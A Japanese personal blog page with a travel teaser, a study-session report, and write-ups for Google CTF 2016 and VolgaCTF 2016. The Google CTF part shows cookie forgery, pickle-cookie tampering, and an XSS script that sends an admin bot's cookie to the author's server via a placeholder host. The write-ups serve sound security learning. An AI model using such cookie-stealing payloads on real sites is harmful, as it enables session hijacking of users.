jtwp470’s blog

日記とかプヨグヤミングとか

海外初心者がアメリカ旅行に行ったよ (準備編)

f:id:jtwp470:20160625172243p:plain (出展:Find Travel ラスベガスの人気ホテル15選!セレブ気分でゴージャスな部屋に泊まろう☆ の1枚目の画像 より)

こんにちは. たんごです.

先週6/16 - 6/22 まで中学の友人と2人でアメリカ, ラスベガスへ旅行してきました. 人生初の海外旅行でしたので忘備録というか記録を留めておこうかなと思いここに旅行記を書くことにしました. 書くことが大量に有りそうなので何日か分に分けて記述していきたいと思います.

続きを読む

「大学生のためのインフラ勉強会」という勉強会を行った

こんにちは.2日連続でブログ投稿するのは初めてじゃないかな?

表題通りで,最近研究室のサーバー管理等を任されるようになったのですが, それらの知識をつけたいという要望が多かったため,実際にVMを使ってサーバー用OSを入れ,Webサーバーを建てホスティングできるよ! みたいなレベルの初心者向け勉強会を研究室で開きました.参加者は同期で4人でしたが実際にLAN内で各自が他人のサーバーにアクセスできるようにすることで擬似インターネットのようなものを体験するような感じで行いました.

以下,資料です.

www.gitbook.com

総評

  • 2時間位で終わるだろうと思っていたら結局5時間もかかったw
    • しっかり時間配分を考えないといけないなということ
  • LAN接続できるようにしたが如何せんルーターが7年前位のものだったので弱すぎて途中で落ちたりしていた
  • 全員Macだったが1人だけMacのファイアーウォールをONにしていたためVMにアクセス出来ないという問題が発生しそれに気づくのにすごい時間がかかった.
  • インフラ勉強会とかいいつつ実はtipsのDockerがメイン
    • 個人的にはDockerコマンドリファレンスがうまいことまとまっている気がしているのでQiitaに投稿しようかな?と考えていたり

現場からは以上です.

Google Capture the Flag 2016 Writeup

こんにちは.たんごです. 最近はだんだん暖かくなって過ごしやすい気候になりました.

さて天下のGoogle先生がCTFをやるということである意味注目を集めていたように思える今回のCTFですがとりあえず頑張りました(小並感).

我がg0tiu5aは6問を解き(1問はFeedback) 360 pts 250 th でした. 雑魚い結果ですねw

解けた問題のWriteupを載せていきたいと思います.

In Recorded Conversation (25 pts) [Forensics]

IRCの通信をしているPCAPファイルが渡されます.すべて平文でやり取りされていて適当に見ているとFlagがあります.

f:id:jtwp470:20160503174949p:plain

Flag: CTF{some_leaks_are_good_leaks_}

Ernst Echidna (50 pts) [Web]

Hintには/robots.txtを匂わせる文が書いてあります.大抵ソースコードが与えられないWeb問を解くときはとりあえず /robots.txt を見たり, .git がないかなど調査すると良いかなって感じです.

見ると /admin の存在がわかります. アクセスしてみると You are not logged in... といわれます. 仕方ないのでユーザー登録してみます. すると /welcome に遷移して何もできなくなりました.そこでCookieを見てみます.

md5-hash:db1bd9a98ea54cefda096688b855de98

ほう.何かをMD5ハッシュ化したものがCookieにセットされていました.今回私は jtwp470 というユーザー名を登録してみたので自分の環境でMD5ハッシュを確認してみます.

 $ echo -n "jtwp470" | md5sum
db1bd9a98ea54cefda096688b855de98  -

おっ. ユーザー名のMD5ハッシュ値で認証しているガバガバサイトであることがわかりました.そこで adminMD5をセットして /admin にアクセスするとFlagが得られます.

Flag: CTF{renaming-a-bunch-of-levels-sure-is-annoying}

Spotted Quoll (50 pts) [Web]

この問題, はじめはクッキーに入っている値がPythonのPickleの値を直接ロードしているため, シェルを取れるかもしれないなと思いいろいろ試行していました. しかし長いクッキーを送ると500になってしまうことから,PythonのPickleオブジェクトをロードしサーバー側スクリプトで変数を持っているのでは?と考えました.そこで直接Pythonシェルを起動してロードしてみます.

>>> pickle.loads(base64.b64decode("KGRwMQpTJ3B5dGhvbicKcDIKUydwaWNrbGVzJwpwMwpzUydzdWJ0bGUnCnA0ClMnaGludCcKcDUKc1MndXNlcicKcDYKTnMu"))
{'python': 'pickles', 'subtle': 'hint', 'user': None}

userの部分がNoneになっているのが怪しいですね.そこでadminをセットしてみます.

>>> base64.b64encode(pickle.dumps({'python': 'pickles', 'subtle': 'hint', 'user': "admin"}))
'KGRwMApTJ3B5dGhvbicKcDEKUydwaWNrbGVzJwpwMgpzUydzdWJ0bGUnCnAzClMnaGludCcKcDQKc1MndXNlcicKcDUKUydhZG1pbicKcDYKcy4='

これを元々セットされていたクッキーと置換し /admin にアクセスするとFlagが得られました.

Flag: CTF{but_wait,theres_more.if_you_call}

Wallowing Wallabies - Part One (25 pts) [Web]

問題文を読むと途中でこんな文面が追加されました.

Please note Please do not run automated scanners against the target - that's not the intended solution. Instead, perhaps look up "xss cookie catching", "xss cookie stealing" and other documents along those lines. Thanks!

どうやらXSSCookieを盗むことができるようです.一体どこでXSSするんだって感じですがとりあえず /robots.txt にアクセスするとなにかURLが貼ってあります.

User-agent: *
Disallow: /deep-blue-sea/
Disallow: /deep-blue-sea/team/
# Yes, these are alphabet puns :)
Disallow: /deep-blue-sea/team/characters
Disallow: /deep-blue-sea/team/paragraphs
Disallow: /deep-blue-sea/team/lines
Disallow: /deep-blue-sea/team/runes
Disallow: /deep-blue-sea/team/vendors

一番最後のURLのみアクセスできました. 書いてある文書を読むと下のフォームにアクセスしたい場所を書けばすぐさまAdminが動かしているBOTくんが反応してくれるみたいなことが書いてあります. つまりこやつからXSSしてキャッシュをパクればいいことがわかります.ですので適当にサーバーを立ち上げXSSしましたw

<script src=""></script>
<script>document.location='http://[your_ip_addr]/?c='+document.cookie;</script>

するとサーバー側のログに以下の様なものが残ります.

146.148.94.130 - - [04/May/2016:01:38:44 +0900] "GET /?c=green-mountains=eyJub25jZSI6IjNhNDk4MGQ1ZDFjNmFlNGEiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3RlYW0vdmVuZG9ycy4qJCIsImV4cGlyeSI6MTQ2MjI5MzUyOX0=|1462293526|32144459c6dc76fa907bcc50b3c7eeaa6275faf0 HTTP/1.1" 200 427 "http://ctf-wallowing-wallabies.appspot.com/under-the-sea/application/31337" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.97 Safari/537.36"

このキャッシュをセットして再度アクセスするとFlagが得られます.

f:id:jtwp470:20160504014304p:plain

Flag: CTF{feeling_robbed_of_your_cookies}

For2 (200 pts) [Forensics]

PCAPファイルですがUSBマウスのキャプチャーをしているようです.色々調べているとどうやらBKPCTFの過去問をパクった問題みたいであることがわかります.

write-ups-2015/boston-key-party-2015/school-bus/riverside at master · ctfs/write-ups-2015 · GitHub

ここに載っているWriteupのコードをほぼ丸パクりしFlagを得ました.

最初上記Writeupをそのままパクりましたが以下の様な画像が出てきて読めませんでした. f:id:jtwp470:20160504014656p:plain

そこでWriteup一覧にあった writeups/ctfs/boston-key-party-2015/riverside at master · cesena/writeups · GitHub

Rubyコードをそのまま利用して描画した画像が以下です.

f:id:jtwp470:20160504014702p:plain

おっ読める.

Flag: CTF{tHE_cAT_iS_the_cULpRiT}

まとめ

Google CTF天下のGoogle様が行うやつだから雑魚どもは解けないエグい問題ばかりかと思っていましたが(特にTeaserのせいで)そうでもなかったなというような感じでした.個人的にはこういう相手のクッキーをパクるみたいなXSS問題はなかなか出てこないのでいい練習になりましたw

CTFサーバーがまだ動いているみたいなのでWeb問は1通りWriteupを読みつつ復習していきたいなという感じです.

VolgaCTF 2016 Tic-Tac-Toe Writeup

お久しぶりです.たんごです.週末はVolgaCTFとpwn2win CTFが被っていてあびゃーって感じでした.結局あまり集中して解くことが出来ずVolga CTFに出題されていたTic Tac Toeの問題だけ解くことが出来たのでそれのWriteupとしてメモ書きを残しておきます.

Tic-Tac-Toe

問題文:

Tic-Tac-Toe

An important step towards the strong AI is the ability of an artificial agent to solve a well-defined problem. A project by the name 'tic-tac-toe' was one of such test problems. It's still up...

nc tic-tac-toe.2016.volgactf.ru 45679

$ nc tic-tac-toe.2016.volgactf.ru 45679
Welcome to Noughts & Crosses World Championship!
Please, name yourself.
jtwp470
The match is played over 500 rounds, the winner of each round gets 1.0 points, the looser gets 0.0 points, and in case of a draw each player gets 0.5 points.
To make your move choose the empty cell and send it's index followed by '\n', e.g. '4\n'.The indices map:
 0 | 1 | 2
---+---+---
 3 | 4 | 5
---+---+---
 6 | 7 | 8

Round number 1.
Server vs. jtwp470. Current score: 0.0 - 0.0
   |   |
---+---+---
   | X |
---+---+---
   |   |

0
 O |   |
---+---+---
 X | X |
---+---+---
   |   |

5
 O |   | X
---+---+---
 X | X | O
---+---+---
   |   |

6
 O |   | X
---+---+---
 X | X | O
---+---+---
 O | X |

1
 O | O | X
---+---+---
 X | X | O
---+---+---
 O | X | X

Round number 2.
Server vs. jtwp470. Current score: 0.5 - 0.5

こんな感じ.Alpha Goみたいにめっちゃ強いやつ出てきたらどうしようと思っていたけど流石にそんなことはなかったw

Tic-Tac-Toe とは

ぐぐるWikipediaの記事3目並べ とかが見つかる. これ授業でやったなあという感じ.

このゲームでは、先手・後手ともに最善を尽くすと必ず引き分けとなる。

と書いてあるので最善手を打ち続ければ少なくとも負けることはないことがわかる.

またいろいろ調べているとミニマックス法とかアルファベータ法と呼ばれるアルゴリズムが出てくるが結局のところ以下の様な方針で実装すればいいらしい.

  1. 3つ並べて勝てる場合はそこにおいて勝つ.
  2. 相手が3つ並べて勝てる場合は妨害する
  3. 中央が空いていればそこに置く.
  4. 四隅が空いていればそこに置く.
  5. 置ける場所に適当に置く.

というわけで盤面を読み込み上の方法を使ってこまを置く場所を決定しゲームを進めるスクリプトを書いた.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import random
import re
import socket
import itertools


def print_board(b):
    print("{0:^3}|{1:^3}|{2:^3}".format(b[0], b[1], b[2]))
    print("---+---+---")
    print("{0:^3}|{1:^3}|{2:^3}".format(b[3], b[4], b[5]))
    print("---+---+---")
    print("{0:^3}|{1:^3}|{2:^3}".format(b[6], b[7], b[8]))
    print("")

# ['X', '', 'O', 'O', 'X', '', 'X', 'O', 'X']
# ['', 'X', '', '', 'O', '', '', '', '']

"""
一番強い(というか最善手の) AIアルゴリズム

1. 置けば勝てるなら置く
2. 敵が勝ちそうであれば妨害する
3. 優先順位的に真ん中 -> 端 におく
4. それも空いていない場合は 諦めて 適当な場所に置く.
"""

lines = (
    (0, 1, 2), (3, 4, 5), (6, 7, 8),
    (0, 3, 6), (1, 4, 7), (2, 5, 8),
    (2, 4, 6), (0, 4, 8))


# my_hand で勝てるかどうか? 勝てるのであれば置くべき場所を返す
def is_win(board, my_hand):
    for pos in lines:
        for ps in itertools.permutations(pos):
            p = board[ps[0]]
            if p == "" and board[ps[1]] == my_hand and board[ps[2]] == my_hand:
                return ps[0]
    return -1  # わからんw


def is_draw(board):
    rest_board = [x for x, y in enumerate(board) if y == ""]
    if len(rest_board) <= 2:
        if is_win(board, "O") == -1 and is_win(board, "X") == -1:
            return True
    return False


# 今の状態から次にどこに置くかを決定する
def decide_pos(board, my_hand):
    enemy_hand = ""
    if my_hand == "X":
        enemy_hand = "O"
    else:
        enemy_hand = "X"

    # もし勝てるのであれば勝つ
    p = is_win(board, my_hand)
    if p >= 0:
        return p

    # もし負けるのであれば妨害を入れる
    p = is_win(board, enemy_hand)
    if p >= 0:
        return p

    # もし中央が空いていればそこに置く.
    if board[4] == "":
        return 4

    # もし隅が空いていれば隅の適当な場所に置く.
    corner = (0, 2, 6, 8)
    for c in corner:
        if board[c] == "":
            return c

    # それ以外の場合は適当に置く.
    for c in range(9):
        if board[c] == "":
            return c
    return None


def read_board(sc_board):
    """
    t is following input.
     X |   |
    ---+---+---
       |   |
    ---+---+---
       |   |
    """
    board = []
    sc = sc_board.replace("---+---+---", "").split("\n")
    for s in sc:
        if s != "":
            s = map(lambda x: x.strip(), s.split("|"))
            for k in s:
                board.append(k)
    return board


def sock(reip, report):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((reip, report))
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    return s, s.makefile('rw')


def read_until(f, delim='\n'):
    data = ""
    while not data.endswith(delim):
        data += f.read(1)
    return data


def main():
    # HOST = "tic-tac-toe.2016.volgactf.ru"
    # HOST = "95.213.237.93"
    HOST = "95.213.237.91"
    PORT = 45679
    s, f = sock(HOST, PORT)
    print(read_until(f), end="")
    print(read_until(f), end="")
    s.sendall(b'jtwp470\n')
    print(read_until(f, "\n\n"))

    print(read_until(f), end="")  # Round number X.
    print(read_until(f), end="")  # Server vs. k. Current score: 0.5 - 0.5

    # 最初に2行読み込む.
    # もし Round が入っていたら 一度リセット
    my_hand = "O"  # start は 自分が O
    while True:
        inp = ""
        inp += read_until(f)
        inp += read_until(f)
        if "Volga" in inp:
            print("Congrats!")
            print(inp)
            break

        if "Round" in inp:
            m = re.match(r"Round number (\d+).", inp.split("\n")[0])
            round_number = int(m.group(1))

            print("Round : %d " % round_number)
            print(inp)
            # 偶数の時は自分は X
            if round_number % 2 == 0:
                my_hand = "X"
            else:
                my_hand = "O"

            print("my_hand is : " + my_hand)

            inp = ""
            inp += read_until(f)
            inp += read_until(f)

        inp += read_until(f)
        inp += read_until(f)
        inp += read_until(f)
        inp += read_until(f)
        board = read_board(inp)

        x = decide_pos(board, my_hand)
        if x is not None:
            s.sendall((str(x) + "\n").encode())
            print("Send: % d" % x)
        print_board(board)

    s.close()
    f.close()


def test():
    ## test_code
    board = ['X', 'X', '',
             '', '', '',
             '', '', '']
    assert decide_pos(board, "X") == 2
    board = ['X', '', 'O',
             'O', 'O', '',
             '', '', '']

    # 妨害を入れる
    assert decide_pos(board, "X") == 5
    board = ['X', 'O', '',
             'O', '', '',
             '', '', '']
    assert decide_pos(board, "X") == 4

    board = ['X', 'O', 'X',
             'O', 'O', 'X',
             'X', 'X', 'O']

    print(decide_pos(board, "X"))

if __name__ == "__main__":
    main()


    """
    ...
    Round : 500
    Round number 500.
    Server vs. jtwp470. Current score: 73.0 - 426.0

    my_hand is : X
    Send:  4
       |   |
    ---+---+---
       |   |
    ---+---+---
       |   |

    Send:  0
       |   |
    ---+---+---
     O | X |
    ---+---+---
       |   |

    Send:  8
     X |   |
    ---+---+---
     O | X |
    ---+---+---
       | O |

    Congrats!:
    Server vs. jtwp470. Final score: 73.0 - 427.0
    Congratulations! Your flag is: VolgaCTF{tic_t@c_t0e_is_the_e@rly_step_t0wards_AI}
    """

最終スコアは73 - 427 でスクリプトの勝ち.全試合の記録はしていないがあまり負けることはなく大抵アイコになって相手に点数取られるみたいなことが多かった.

辛かった点としては自宅のネットワークからロシアにあるであろうサーバーの間でパケットが途中で喪失してしまうのかConnection refusedに苦しまされ続けた.Wiresharkでパケットを追ったりしつづけ結局動かないので大学のサーバーにアクセスしそこでこのスクリプトを動かしたらうまいこと動いてくれたのでなんとか点数を入れることが出来た.

最後に

最近「トライセイルのトライアングルハーモニー」を聴き始めて色んな意味で癒やされています.ハイ 面白いのでぜひ聞いてみては

あとエクストリームCTF1問目からわからずつらい思いをしているのでなんとかしたいです